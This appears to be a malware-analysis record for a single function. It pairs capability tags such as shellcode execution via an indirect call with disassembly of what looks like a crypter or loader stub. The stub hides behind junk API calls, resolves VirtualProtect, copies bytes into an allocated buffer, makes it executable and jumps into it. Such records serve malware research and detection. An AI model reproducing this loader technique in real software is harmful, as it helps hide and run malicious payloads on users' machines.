Function at 0x40247d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Identify system language via api
Print debug messages
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x207138
jg 0x4024a5
inc edi
cmp edi, 0x4f672
jl 0x40248d
cmp dword [0x4436fc], 0x93
jne 0x40253b
push esi
lea eax, [ebp - 0x440]
push eax
push esi
push str.fayacitebid
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push str.sohibitawifamodewuwebitimubuhoco
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], str.bad_exception
call fcn.00402848
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], vtable.std::bad_exception.0
call fcn.0040286f
push esi
call fcn.00402ce1
push esi
call fcn.00402de1
call fcn.004027aa
push esi
call fcn.00402ce1
add esp, 0xc
mov eax, dword [0x43b690]
add dword [0x4436fc], 0x1134b
push str.kernel32.dll
mov dword [0x449b28], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.VirtualProtect
push eax
mov dword [0x44318c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x4436fc]
mov dword [0x443180], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x4436fc]
mov dword [0x443188], eax
push eax
call dword [0x443180]
mov edi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec edi
jne 0x40259a
cmp dword [0x4436fc], esi
jbe 0x40261c
mov eax, dword [0x449b28]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x443188]
mov byte [ecx + edi], al
cmp dword [0x4436fc], 0x490
jne 0x402613
push str.dahuxoyunenahoturagahijuyawoc_kemitip_wunonefepunokutogufugi_gaguxivogitivusinironekopusox_kozosa
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push str.giyakukikerapusiviwumawep
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push str.bojedefayepahotagawabunuluni
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
inc edi
cmp edi, dword [0x4436fc]
jb 0x4025b1
mov edi, dword [sym.imp.KERNEL32.dll_SetComputerNameA]
xor ebx, ebx
mov eax, dword [0x4436fc]
add eax, ebx
cmp eax, 0x8d
jne 0x402642
push esi
call edi
push esi
push esi
push str.kizilela
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
inc ebx
cmp ebx, 0x38681
jl 0x402624
mov eax, dword [0x4436fc]
mov ecx, dword [0x443188]
shr eax, 3
cmp eax, esi
jbe 0x40268a
mov ebx, ecx
mov dword [ebp - 4], eax
cmp dword [0x4436fc], 0x959
jne 0x40267d
push esi
lea eax, [ebp - 0x440]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
call fcn.00401029
add ebx, 8
dec dword [ebp - 4]
jne 0x402662
xor ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp ebx, 0x62
jne 0x4026ab
mov dword [ebp - 4], esi
add dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add dword [0x443188], eax
inc ebx
cmp ebx, 0x674db
jl 0x40268c
push 0x7b
pop ebx
cmp dword [0x4436fc], 0x86
jne 0x4026e8
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push str.hatonorapecigomavimepol
call edi
lea eax, [ebp - 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
dec ebx
jne 0x4026b7
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x443188]
pop edi
pop esi
pop ebx
leave
ret